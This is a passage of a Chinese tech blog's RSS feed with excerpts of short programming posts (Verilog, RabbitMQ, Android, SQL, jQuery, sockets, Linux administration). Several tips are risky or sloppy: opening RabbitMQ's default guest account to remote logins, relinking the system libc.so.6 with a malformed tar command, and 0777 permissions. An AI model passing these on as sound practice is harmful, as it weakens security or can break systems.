      <description> 此程序在Xilinx ISE综合工具中实现了综合和布局布线后仿真，功能正确。感兴趣的可以一起讨论研究。 `timescale 1ns / 1ps module TaskLearn(clk , reset , signal); input clk , reset; output reg signal; reg [3:0]counter; reg [3:0]state; parameter idle = 4&#39;b0000; parameter state1 = 4&#39;b0001; parameter state2 = 4&#39;b0010; parameter state3 = 4&#39;b0100; parameter state4 = 4&#39;b1000; always@(posedge clk) begin if(reset) begin state &amp;lt;= idle; signal &amp;lt;= 1&#39;bZ; end else case(state) idle: begin state &amp;lt;= state1; signal &amp;lt;= 1; end state1: begin signal &amp;lt;= 0; hold_10_clk(state2); end state2: begin signal &amp;lt;= 1; state &amp;lt;= state3; end state3: begin hold_10_clk(state4); //state &amp;lt;= state4;综合报告中采用两种方法资源使用几乎一样 signal &amp;lt;= 0; end state4: begin state &amp;lt;= state1; signal &amp;lt;= 1; end default: state &amp;lt;= idle; endcase end //----------------------------------------------------------------------------- //延时10个周期控制 task hold_10_clk; input [3:0]s; if(counter &amp;lt; 10) counter &amp;lt;= counter + 1; else begin counter &amp;lt;= 0; state &amp;lt;= s; end endtask //----------------------------------------------------------------------------- endmodule </description>
    </item>
    <item>
      <title>rabbitmq的web管理界面无法使用guest用户登录的问题</title>
      <link>https://bchobby.github.io/posts/4760a5d7496333fa2e9cd5f50233f0df/</link>
      <pubDate>Tue, 03 Feb 2015 09:37:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4760a5d7496333fa2e9cd5f50233f0df/</guid>
      <description> 最近安装了一次rabbitmq server，安装过程依旧顺利，但是打开web管理界面之后，却发现使用默认的用户名guest和密码guest无法登录成功。这才开始查看rabbitmq的文档，发现现在的3.3.1版中，处于安全的考虑，guest这个默认的用户只能通过localhost来登录，其他的IP无法直接使用这个账号。 为了解决这个问题，需要在rabbitmq的配置文件中将loopback_users配置设置为空，如编写配置文件:/etc/rabbitmq/rabbitmq.config，并在其中添加以下内容： [{rabbit, [{loopback_users, []}]}].&#xA;保存后重启rabbitmq-server即可随意使用guest用户名和密码来登录了(当然这个做法非常不安全)。&#xA;或者如果是在本地登录，则可以用http://localhost:15672 </description>
    </item>
    <item>
      <title>android studio找不到SDK怎么办</title>
      <link>https://bchobby.github.io/posts/c3ac7079f4d8f2125a5a9415d6bdf9f5/</link>
      <pubDate>Sun, 11 Jan 2015 10:44:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3ac7079f4d8f2125a5a9415d6bdf9f5/</guid>
      <description>明明已经下载了SDK 安装了JDK 却提示找不到, 你说气人不。&#xA;害的小白还以为下载错了，卸载，重新下载，安装各种版本，折腾了许久，还是说找不到，你说这得多恶心人，得多伤心，得多大挫败感。&#xA;原来你还得在android studio中设置SDK路径&#xA;秀色书文软件 可听、可读、可写、可知识挖掘、可标注，再加上史上最强大的纯文本配色功能， 瞬间使您的书文秀色起来。 www.gudianxiaoshuo.com</description>
    </item>
    <item>
      <title>Gradle原码入门七</title>
      <link>https://bchobby.github.io/posts/59b005fe1084dd40d0416702996bed54/</link>
      <pubDate>Sun, 11 Jan 2015 00:08:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59b005fe1084dd40d0416702996bed54/</guid>
      <description>今天分析了Object org.gradle.internal.service.DefaultServiceRegistry.doGet(Type serviceType) 函数&#xA;private Object doGet(Type serviceType) throws IllegalArgumentException { synchronized (lock) { if (closed) { throw new IllegalStateException(String.format(&#34;Cannot locate service of type %s, as %s has been closed.&#34;, format(serviceType), displayName)); } DefaultLookupContext context = new DefaultLookupContext(); ServiceProvider provider = context.find(serviceType, allServices); if (provider != null) { return provider.get(); } throw new UnknownServiceException(serviceType, String.format(&#34;No service of type %s available in %s.&#34;, format(serviceType), displayName)); } } 这里重点是context.find(serviceType, allServices);&#xA;allServices 是一个CompositeProvider型变量, 在serviceType是某些值的时候,会走到</description>
    </item>
    <item>
      <title>java 不是内部或外部命令，也不是可运行程序</title>
      <link>https://bchobby.github.io/posts/57e69733db906e2651038e55b7fd984e/</link>
      <pubDate>Thu, 08 Jan 2015 17:11:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57e69733db906e2651038e55b7fd984e/</guid>
      <description>配置JAVA环境变量如下： 1.下载安装jdk 2.安装完成后，右击“我的电脑”，点击“属性”； 3.选择“高级”选项卡，windows 7选择左边的“高级系统设置”，点击“环境变量”； 4.用户变量配置&#xA;JAVA_HOME指明JAVA安装路径，值设为：C:\Program Files\Java\jdk1.6.0_43（刚才安装时所选择的路径，每个人可能不一样）&#xA;5. 系统变量配置 Path= .;%JAVA_HOME%\bin; CLASSPATH=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar (前面的.不要漏掉，表示当前路径)&#xA;在CMD里面运行java报不是内部命令解决方法（设置PATH路径 一定要把.;%JAVA_HOME%\bin;放在最前面）;&#xA;解决的给个赞&#xA;或都在运行java命令前运行 set path=C:\Program Files\Java\jdk1.6.0_43\bin set classpath=C:\Program Files\Java\jdk1.6.0_43\lib\tools.jar;C:\Program Files\Java\jdk1.6.0_43\lib\dt.jar;C:\Java\jdk1.5.0_02\bin&#xA;成功</description>
    </item>
    <item>
      <title>CentOS安装glibc-2.14</title>
      <link>https://bchobby.github.io/posts/b680aff6b8f5ffaa01b77e34ad4ed8d1/</link>
      <pubDate>Wed, 07 Jan 2015 14:06:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b680aff6b8f5ffaa01b77e34ad4ed8d1/</guid>
      <description> 到http://ftp.gnu.org/gnu/glibc/下载glibc-2.14.tar.xz&#xA;tar glibc-2.14.tar.gz&#xA;cd glibc-2.14&#xA;mkdir build&#xA;cd build&#xA;../configure --prefix=/usr/local/glibc-2.14&#xA;make -j4&#xA;su&#xA;xxxx&#xA;make install&#xA;看看现在libc.so.6在哪个位置，然后修改软链接&#xA;ln -s /usr/local/glibc-2.14/lib/libc-2.14.so /lib64/libc.so.6&#xA;完成&#xA;﻿﻿ </description>
    </item>
    <item>
      <title>plsql tables 里面不显示表格</title>
      <link>https://bchobby.github.io/posts/da3713773a0eb61c3a72e3c56d64c8a5/</link>
      <pubDate>Wed, 07 Jan 2015 12:35:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da3713773a0eb61c3a72e3c56d64c8a5/</guid>
      <description> 删除C:\Windows\Prefetch里面的文件，或者重新选一次当前用户（这个只能解决当前问题） </description>
    </item>
    <item>
      <title>android 屏幕旋转90度，180度</title>
      <link>https://bchobby.github.io/posts/22609cb15e57e79de814809f0b0a3419/</link>
      <pubDate>Tue, 06 Jan 2015 17:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22609cb15e57e79de814809f0b0a3419/</guid>
      <description>/横竖屏/// private OrientationEventListener mOrientationListener;&#x9;//screen orientation listener &amp;lt;pre name=&#34;code&#34; class=&#34;java&#34;&amp;gt;private final void startOrientationChangeListener() { mOrientationListener = new OrientationEventListener(this) { @Override public void onOrientationChanged(int rotation) { // TODO Auto-generated method stub if(rotation == OrientationEventListener.ORIENTATION_UNKNOWN) { return; //手机平放时，检测不到有效的角度 } //只检测是否有四个角度的改变 if( rotation &amp;gt; 350 || rotation&amp;lt; 10 ) { //0度 rotation = 0; setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); } else if( rotation &amp;gt; 80 &amp;amp;&amp;amp;rotation &amp;lt; 100 ) { //90度 rotation= 90; //setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); } else if( rotation &amp;gt; 170 &amp;amp;&amp;amp;rotation &amp;lt; 190 ) { //180度 rotation= 180; setRequestedOrientation(ActivityInfo.</description>
    </item>
    <item>
      <title>$.ajax()方法解析</title>
      <link>https://bchobby.github.io/posts/16d7cc1efc44c58815865449eca17944/</link>
      <pubDate>Tue, 06 Jan 2015 14:56:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16d7cc1efc44c58815865449eca17944/</guid>
      <description>1.url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。&#xA;2.type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和delete也可以使用，但仅部分浏览器支持。&#xA;3.timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局设置。&#xA;4.async: 要求为Boolean类型的参数，默认设置为true，所有请求均为异步请求。如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等待请求完成才可以执行。&#xA;5.cache: 要求为Boolean类型的参数，默认为true（当dataType为script时，默认为false），设置为false将不会从浏览器缓存中加载请求信息。&#xA;6.data: 要求为Object或String类型的参数，发送到服务器的数据。如果已经不是字符串，将自动转换为字符串格式。get请求中将附加在url后。防止这种自动转换，可以查看　processData选项。对象必须为key/value格式，例如{foo1:&#34;bar1&#34;,foo2:&#34;bar2&#34;}转换为&amp;amp;foo1=bar1&amp;amp;foo2=bar2。如果是数组，JQuery将自动为不同值对应同一个名称。例如{foo:[&#34;bar1&#34;,&#34;bar2&#34;]}转换为&amp;amp;foo=bar1&amp;amp;foo=bar2。&#xA;7.dataType: 要求为String类型的参数，预期服务器返回的数据类型。如果不指定，JQuery将自动根据http包mime信息返回responseXML或responseText，并作为回调函数参数传递。可用的类型如下：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求时（不在同一个域下），所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;8.beforeSend：&#xA;要求为Function类型的参数，发送请求前可以修改XMLHttpRequest对象的函数，例如添加自定义HTTP头。在beforeSend中如果返回false可以取消本次ajax请求。XMLHttpRequest对象是惟一的参数。&#xA;function(XMLHttpRequest)&#xA;{&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;9.complete：&#xA;要求为Function类型的参数，请求完成后调用的回调函数（请求成功或失败时均调用）。参数：XMLHttpRequest对象和一个描述成功请求类型的字符串。&#xA;function(XMLHttpRequest, textStatus)&#xA;{&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}10.success：要求为Function类型的参数，请求成功后调用的回调函数，有两个参数。&#xA;(1)由服务器返回，并根据dataType参数进行处理后的数据。&#xA;(2)描述状态的字符串。&#xA;function(data, textStatus){&#xA;//data可能是xmlDoc、jsonObj、html、text等等&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;11.error:&#xA;要求为Function类型的参数，请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错误信息、捕获的错误对象(可选)。ajax事件函数如下：&#xA;function(XMLHttpRequest, textStatus, errorThrown){&#xA;//通常情况下textStatus和errorThrown只有其中一个包含信息&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;12.contentType：&#xA;要求为String类型的参数，当发送信息至服务器时，内容编码类型默认为&#34;application/x-www-form-urlencoded&#34;。该默认值适合大多数应用场合。&#xA;13.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;&#xA;}&#xA;14.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;</description>
    </item>
    <item>
      <title>sql主页(常用命令)</title>
      <link>https://bchobby.github.io/posts/c7fbb0bc7fcb6877aac83ecc62a056b3/</link>
      <pubDate>Sun, 04 Jan 2015 22:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7fbb0bc7fcb6877aac83ecc62a056b3/</guid>
      <description>视频资料地址： E:\baiduyunpan\黑马28期Android全套视频无加密完整版\01、JavaWEB\day09 视频资料地址二： F:\50期\day14 SQL ======================================================================================================================= -------------------------------------------------------------------------------------------------- 一.数据库 1.创建数据库 create database [if not exists] db_name [character set xxx] [collate xxx] *创建一个名称为mydb1的数据库。 create database mydb1; *创建一个使用utf8字符集的mydb2数据库。 create database mydb2 character set utf8; *创建一个使用utf8字符集，并带校对规则的mydb3数据库。 create database mydb3 character set utf8 collate utf8_bin ; 2.查看数据库 show databases;查看所有数据库 show create database db_name; 查看数据库的创建方式 3.修改数据库 alter database db_name [character set xxx] [collate xxxx] 4.删除数据库 drop database [if exists] db_name; 5.使用数据库 切换数据库 use db_name; 查看当前使用的数据库 select database(); -------------------------------------------------------------------------------------------------- 二、表 1.</description>
    </item>
    <item>
      <title>CSS&#43;JS实现图片集展示</title>
      <link>https://bchobby.github.io/posts/9936b39fb1a1791f994560417764a457/</link>
      <pubDate>Wed, 31 Dec 2014 10:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9936b39fb1a1791f994560417764a457/</guid>
      <description>首先，说说实现的效果：&#xA;1、图片的展示与翻页；&#xA;2、点击图片放大图片。&#xA;实现的效果如下所示：&#xA;初始化和第一张&#xA;中间的图片&#xA;最后一张图片&#xA;单击放大显示图片详细与信息&#xA;实现的内容很简单，是常规图片的展示方式，下面说说我的实现思路。&#xA;1、图片的展示与翻页&#xA;a、图片展示&#xA;图片展示是通过&amp;lt;img /&amp;gt;标签实现的：&#xA;&amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;div class=&#34;image-list&#34;&amp;gt; &amp;lt;div id=&#34;prev&#34; οnclick=&#34;updateImage(&#39;prev&#39;)&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;a id=&#34;img1&#34; class=&#34;thumb-a&#34; οnclick=&#34;showImg(1)&#34;&amp;gt; &amp;lt;img class=&#34;thumb-img&#34; width=&#34;200&#34; height=&#34;150&#34; src=&#34;img/demopage/thumb-1.jpg&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;a id=&#34;img2&#34; class=&#34;thumb-a thumb-a-hide&#34; οnclick=&#34;showImg(2)&#34;&amp;gt; &amp;lt;img class=&#34;thumb-img&#34; width=&#34;200&#34; height=&#34;150&#34; src=&#34;img/demopage/thumb-2.jpg&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;a id=&#34;img3&#34; class=&#34;thumb-a thumb-a-hide&#34; οnclick=&#34;showImg(3)&#34;&amp;gt; &amp;lt;img class=&#34;thumb-img&#34; width=&#34;200&#34; height=&#34;150&#34; src=&#34;img/demopage/thumb-3.jpg&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;div id=&#34;next&#34; οnclick=&#34;updateImage(&#39;next&#39;)&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;b、翻页 翻页是通过updateImage这个函数实现的，传递参数为type，判断操作时“上一张”还是“下一张”，updateImage函数如下：&#xA;function updateImage(type){ if(type===&#34;prev&#34;){ if(imgIndex&amp;gt;1){ imgIndex=imgIndex-1; } } else{ if(imgIndex&amp;lt;3){ imgIndex=imgIndex+1; } } for(var i=0;i&amp;lt;3;i++){ $(&#34;</description>
    </item>
    <item>
      <title>select, poll和epoll</title>
      <link>https://bchobby.github.io/posts/ca6b42f5a1755d1c0b9068cc0108bf8f/</link>
      <pubDate>Mon, 29 Dec 2014 23:49:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca6b42f5a1755d1c0b9068cc0108bf8f/</guid>
      <description>select()系统调用提供一个机制来实现同步多元I/O：&#xA;#include &amp;lt;sys/time.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;int select (int n,&#xA;fd_set *readfds,&#xA;fd_set *writefds,&#xA;fd_set *exceptfds,&#xA;struct timeval *timeout);&#xA;FD_CLR(int fd, fd_set *set);&#xA;FD_ISSET(int fd, fd_set *set);&#xA;FD_SET(int fd, fd_set *set);&#xA;FD_ZERO(fd_set *set);&#xA;调用select()将阻塞，直到指定的文件描述符准备好执行I/O，或者可选参数timeout指定的时间已经过去。&#xA;监 视的文件描述符分为三类set，每一种对应等待不同的事件。readfds中列出的文件描述符被监视是否有数据可供读取（如果读取操作完成则不会阻塞）。 writefds中列出的文件描述符则被监视是否写入操作完成而不阻塞。最后，exceptfds中列出的文件描述符则被监视是否发生异常，或者无法控制 的数据是否可用（这些状态仅仅应用于套接字）。这三类set可以是NULL，这种情况下select()不监视这一类事件。&#xA;select()成功 返回时，每组set都被修改以使它只包含准备好I/O的文件描述符。例如，假设有两个文件描述符，值分别是7和9，被放在readfds中。当 select()返回时，如果7仍然在set中，则这个文件描述符已经准备好被读取而不会阻塞。如果9已经不在set中，则读取它将可能会阻塞（我说可能 是因为数据可能正好在select返回后就可用，这种情况下，下一次调用select()将返回文件描述符准备好读取）。&#xA;第一个参数n，等于所有set中最大的那个文件描述符的值加1。因此，select()的调用者负责检查哪个文件描述符拥有最大值，并且把这个值加1再传递给第一个参数。&#xA;timeout参数是一个指向timeval结构体的指针，timeval定义如下：&#xA;#include &amp;lt;sys/time.h&amp;gt;&#xA;struct timeval {&#xA;long tv_sec; /* seconds */&#xA;long tv_usec; /* 10E-6 second */&#xA;}; 如 果这个参数不是NULL，则即使没有文件描述符准备好I/O，select()也会在经过tv_sec秒和tv_usec微秒后返回。当select() 返回时，timeout参数的状态在不同的系统中是未定义的，因此每次调用select()之前必须重新初始化timeout和文件描述符set。实际 上，当前版本的Linux会自动修改timeout参数，设置它的值为剩余时间。因此，如果timeout被设置为5秒，然后在文件描述符准备好之前经过 了3秒，则这一次调用select()返回时tv_sec将变为2。&#xA;如果timeout中的两个值都设置为0，则调用select()将立即返回，报告调用时所有未决的事件，但不等待任何随后的事件。&#xA;文件描述符set不会直接操作，一般使用几个助手宏来管理。这允许Unix系统以自己喜欢的方式来实现文件描述符set。但大多数系统都简单地实现set为位数组。FD_ZERO移除指定set中的所有文件描述符。每一次调用select()之前都应该先调用它。</description>
    </item>
    <item>
      <title>Windows Socket编程</title>
      <link>https://bchobby.github.io/posts/f263775278e687a237cfa8e3e73f9d77/</link>
      <pubDate>Sun, 28 Dec 2014 14:13:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f263775278e687a237cfa8e3e73f9d77/</guid>
      <description>﻿﻿ Windows下Socket编程主要包括以下几部分：&#xA;服务端&#xA;1、初始化Windows Socket库。&#xA;2、创建Socket。&#xA;3、绑定Socket。&#xA;4、监听。&#xA;5、Accept。&#xA;6、接收、发送数据。&#xA;客户端&#xA;1、初始化Windows Socket库。&#xA;2、创建Socket。&#xA;3、连接Socket。&#xA;4、接收、发送数据。&#xA;服务端每接收到一个客户端的Socket,则创建一个线程。满足一个服务端连接多个客户端。&#xA;服务器端代码：&#xA;//Server.cpp 2 #include &amp;lt;iostream&amp;gt; 3 #include &amp;lt;Windows.h&amp;gt; 4 5 using namespace std; 6 7 #define PORT 4000 8 #define IP_ADDRESS &#34;192.168.1.145&#34; 9 10 DWORD WINAPI ClientThread(LPVOID lpParameter) 11 { 12 SOCKET CientSocket = (SOCKET)lpParameter; 13 int Ret = 0; 14 char RecvBuffer[MAX_PATH]; 15 16 while ( true ) 17 { 18 memset(RecvBuffer, 0x00, sizeof(RecvBuffer)); 19 Ret = recv(CientSocket, RecvBuffer, MAX_PATH, 0); 20 if ( Ret == 0 || Ret == SOCKET_ERROR ) 21 { 22 cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>dyld: Library not loaded: @rpath/MySDK.framework/MySDK 错误解决</title>
      <link>https://bchobby.github.io/posts/257323067c52bc5cf5acd958b6ceeb08/</link>
      <pubDate>Tue, 23 Dec 2014 14:30:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/257323067c52bc5cf5acd958b6ceeb08/</guid>
      <description>dyld: Library not loaded: @rpath/MySDK.framework/MySDK&#xA;Referenced from: /var/mobile/Applications/08B6D2C2-5028-4A64-93F5-1252B0B0BCAB/MyApp.app/MyApp&#xA;Reason: no suitable image found. Did find:&#xA;/private/var/mobile/Applications/08B6D2C2-5028-4A64-93F5-1252B0B0BCAB/MyApp.app/Frameworks/MySDK.framework/MySDK: code signature invalid for &#39;/private/var/mobile/Applications/08B6D2C2-5028-4A64-93F5-1252B0B0BCAB/MyApp.app/Frameworks/MySDK.framework/MySDK&#39;&#xA;1、查看MySDK.framework是否为动态库（xcode6下默认是动态库） 2、若不需要使用动态库，则将其改为静态库，并重新生成framework&#xA;3、若必须使用动态库，则需要在MyApp的工程中做如下配置（未验证，网上是这么说的）</description>
    </item>
    <item>
      <title>文件读写权限更改</title>
      <link>https://bchobby.github.io/posts/73334989e315a802d8ca8f89f649afa6/</link>
      <pubDate>Wed, 17 Dec 2014 22:25:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73334989e315a802d8ca8f89f649afa6/</guid>
      <description>【PHP 目录读写权限】&#xA;//第二个参数即为文件目录的相关权限 mkdir(&#39;./log&#39;,0777); 有可能上面的mkdir 不好使的时候，可以使用下面的 一步解决&#xA;check_dir_exists(&#39;./log/&#39;.$path.&#39;/&#39;, true, true); 【Linux 目录文件修改权限】&#xA;chmod 相关命令： chattr, chown, chacl -R, --recursive 以递归方式更改所有的文件及子目录 --help 显示此帮助信息并退出 --version 显示版本信息并退出 每种 MODE 都应属于这类形式&#34;[ugoa]*([-+=]([rwxXst]*|[ugo]))+&#34;。 操作对像 u 文件属主权限 g 同组用户权限 o 其它用户权限 a 所有用户（包括以上三种） 权限设定 + 增加权限 - 取消权限 = 唯一设定权限 权限类别 r 读权限 w 写权限 x 执行权限 X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 s 文件属主和组id l 给文件加锁，使其它用户无法访问 r--&amp;gt;4 w--&amp;gt;2 x--&amp;gt;1 [root@localhost ~]# chmod ugo+r nginx_bak.conf #所有人皆可读取 [root@localhost ~]# chmod a+r nginx_bak.</description>
    </item>
    <item>
      <title>new 对象加括号和不加括号的区别</title>
      <link>https://bchobby.github.io/posts/048305456fb69ddc79160c51c2b75735/</link>
      <pubDate>Tue, 16 Dec 2014 18:01:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/048305456fb69ddc79160c51c2b75735/</guid>
      <description>原文：http://www.java123.net/v/951963.html&#xA;在new对象的时候有加上()，有不加()，不知道这个到底是什么区别？ 比如： CBase *base = new CDerived(); CBase *base = new CDeviced; 很多人都说，加括号调用没有参数的构造函数，不加括号调用默认构造函数或唯一的构造函数。这是有问题的。&#xA;对于自定义类类型：&#xA;如果该类没有定义构造函数（由编译器合成默认构造函数）也没有虚函数，那么class c = new class;将不调用合成的默认构造函数，而class c = new class();则会调用默认构造函数。&#xA;如果该类没有定义构造函数（由编译器合成默认构造函数）但有虚函数，那么class c = new class;和class c = new class();一样，都会调用默认构造函数。&#xA;如果该类定义了默认构造函数，那么class c = new class;和class c = new class();一样，都会调用默认构造函数。&#xA;对于内置类型：&#xA;int *a = new int;不会将申请到的int空间初始化，而int *a = new int();则会将申请到的int空间初始化为0。&#xA;以下两个语句的区别是：第一个动态申请的空间里面的值是随机值，第二个进行了初始化，里面的值为0：&#xA;int *p1 = new int[10]; int *p2 = new int[10](); 结论：别使用不带括号的new。&#xA;class A{ public: //A(){a=1;} public: int a; }; A *a1=new A; A *a2=new A(); cout&amp;lt;&amp;lt;a1-&amp;gt;a&amp;lt;&amp;lt;endl; //输出:-842150451 cout&amp;lt;&amp;lt;a2-&amp;gt;a&amp;lt;&amp;lt;endl; //输出0 A a3; cout&amp;lt;&amp;lt;a3.</description>
    </item>
    <item>
      <title>Java JDBC连接各种数据库的配置方法</title>
      <link>https://bchobby.github.io/posts/4c864a602d21a5262c47277a080e0667/</link>
      <pubDate>Mon, 15 Dec 2014 18:56:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c864a602d21a5262c47277a080e0667/</guid>
      <description>MySQL：&#xA;Java代码 String Driver=&#34;com.mysql.jdbc.Driver&#34;; //驱动程序 //连接的URL,db_name为数据库名 String URL=&#34;jdbc:mysql://localhost:3306/db_name&#34;; String Username=&#34;username&#34;; //用户名 String Password=&#34;password&#34;; //密码 Class.forName(Driver); Connection con=DriverManager.getConnection(URL,Username,Password); Microsoft SQL Server 2.0驱动(3个jar):&#xA;Java代码 //连接SQL数据库的方法 String Driver=&#34;com.microsoft.jdbc.sqlserver.SQLServerDriver&#34;; //db_name为数据库名 String URL=&#34;jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=db_name&#34;; String Username=&#34;username&#34;; //用户名 String Password=&#34;password&#34;; //密码 Class.forName(Driver); //加载数据可驱动 Connection con=DriverManager.getConnection(URL,UserName,Password); Microsoft SQL Server 3.0驱动(1个jar): Java代码 //连接SQL数据库的方法 String Driver=&#34;com.microsoft.sqlserver.jdbc.SQLServerDriver&#34;; //db_name为数据库名 String URL=&#34;jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=db_name&#34;; String Username=&#34;username&#34;; //用户名 String Password=&#34;password&#34;; //密码 Class.forName(Driver); //加载数据可驱动 Connection con=DriverManager.getConnection(URL,UserName,Password); Oracle(用thin模式):&#xA;Java代码 String Driver=&#34;oracle.jdbc.driver.OracleDriver&#34;; //连接数据库的方法 String URL=&#34;jdbc:oracle:thin:@loaclhost:1521:orcl&#34;; //orcl为数据库的SID String Username=&#34;username&#34;; //用户名 String Password=&#34;</description>
    </item>
    <item>
      <title>centerOs 如何查看和停止Linux启动的服务：chkconfig</title>
      <link>https://bchobby.github.io/posts/4bf766f03eacb628fdf0ab62a25bbfd2/</link>
      <pubDate>Sat, 06 Dec 2014 22:05:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bf766f03eacb628fdf0ab62a25bbfd2/</guid>
      <description>1. 查看Linux启动的服务&#xA;chkconfig --list 查询出所有当前运行的服务&#xA;chkconfig --list sshd 查询sshd服务的当前状态&#xA;chkconfig --list iptables 查询防火墙的状态&#xA;2. 停止、开启 所有服务并且在下次系统启动时不再启动，如下所示：&#xA;chkconfig --levels 2345 sshd off 或者 chkconfig sshd off&#xA;chkconfig --levels 2345 sshd on ：开机自动启动只需要设置5即可&#xA;3. 如果想查看当前处于运行状态的服务，用如下语句过滤即可&#xA;chkconfig --list |grep on&#xA;4. 如果只是想当前的设置状态有效，在系统重启动后即不生效的话，可以用如下命令停止服务，该命令只有超级管理员有权限操作证&#xA;service sshd stop service sshd start&#xA;service sshd status 是查看状态</description>
    </item>
    <item>
      <title>ScrollView嵌套使用GridView 两个都可以滚动</title>
      <link>https://bchobby.github.io/posts/de2f476f349b104b6d9072fc446af24c/</link>
      <pubDate>Sun, 30 Nov 2014 21:44:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de2f476f349b104b6d9072fc446af24c/</guid>
      <description>最近在做项目是遇到了需求，就是一个界面为了考虑屏幕小的手机，界面上的布局需要使用ScrollView ，但是页面有一个供用户选择的地址，需要使用GridView，以九宫格的形式将地址列出供用户选择，于是就产生了一个很麻烦的问题，就是ScrollView中嵌套GridView是一个很麻烦的问题，于是上网查了一下资料，Google官方说是不允许这样的操作，认为这是不规范，不合法的。但是网上还是有办法解决，说白了就是自定义GridView，在OnMeasure方法中计算GridView中的内容，然后算出GridView的高度，这样就是的GridView内容全部显示出来，此时GridView不需要滚动，于是ScrollView就可以滚动，就不存在滚动冲突，ScrollView嵌套GridView的情况，由于这两款控件都自带滚动条，当他们碰到一起的时候便会出问题，即GridView会显示不全。 解决办法，自定义一个GridView控件&#xA;public class MyGridView extends GridView { public MyGridView(Context context, AttributeSet attrs) { super(context, attrs); } public MyGridView(Context context) { super(context); } public MyGridView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } @Override public void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { int expandSpec = MeasureSpec.makeMeasureSpec( Integer.MAX_VALUE &amp;gt;&amp;gt; 2, MeasureSpec.AT_MOST); super.onMeasure(widthMeasureSpec, expandSpec); } } 该自定义控件只是重写了GridView的onMeasure方法，使其不会出现滚动条，ScrollView嵌套ListView也是同样的道理，不再赘述。 XML布局代码 ： &amp;lt;ScrollView Android:layout_height=&#34;wrap_content&#34; Android:layout_width=&#34;fill_parent&#34; android:id=&#34;@+id/scroll_content&#34;&amp;gt; &amp;lt;com.yourclass.MyGridView xmlns:Android=&#34;http://schemas.android.com/apk/res/android&#34; Android:id=&#34;@+id/grid_view&#34; android:layout_width=&#34;fill_parent&#34; Android:layout_height=&#34;wrap_content&#34; android:numColumns=&#34;auto_fit&#34; Android:horizontalSpacing=&#34;</description>
    </item>
    <item>
      <title>Ubuntu安装界面下方无法显示问题，导致无法操作解决办法</title>
      <link>https://bchobby.github.io/posts/14253c11b65a6471e438dc4a0cb5e989/</link>
      <pubDate>Sun, 30 Nov 2014 02:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14253c11b65a6471e438dc4a0cb5e989/</guid>
